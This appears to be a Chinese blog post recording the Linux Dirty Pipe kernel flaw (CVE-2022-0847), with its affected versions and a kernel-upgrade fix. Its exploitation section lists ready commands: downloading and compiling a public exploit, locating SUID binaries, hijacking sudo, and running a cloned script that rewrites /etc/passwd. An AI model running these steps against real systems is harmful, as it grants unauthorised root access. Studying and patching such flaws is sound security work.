前言:
划水一波,哈哈,以后复现漏洞不再直接傻瓜无脑的走流程了,首先码字写加构思比较麻烦且写的不多还效率不高,现在就是当做见到了一个漏洞,在此记录一下这个漏洞,包括其来源,简单的描述,适用范围,以及其具体化的利用方式(这个不会水的,~-~),最后,再加上其简易的修复方式。与此同时,漏洞复现这一分类栏也将改变为漏洞记录一栏。好,ok啦。希望通过这种精简方式,可以减轻压力!以及多多产出文章!
描述:
CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件(甚至是只读文件)中的数据,从而可将普通权限的用户提升到root权限。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用,漏洞作者将此漏洞命名为Dirty Pipe。
范围:
Linux Kernel >= 5.8
Linux Kernel < 5.16.11 / 5.15.25 / 5.10.102
可使用uname -a查询linux系统内核
利用:
方法一:利用suid权限执行root权限
mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
find / -perm -u=s -type f 2>/dev/null
直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权
比如:./dirtypipez /usr/bin/sudo
方法二:直接修改/etc/passwd文件,进入root用户。
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
参考:https://blog.csdn.net/weixin_45996361/article/details/123379361
https://www.cnblogs.com/andyhf/p/15984045.html
修复:
更新升级 Linux 内核到以下安全版本:
Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102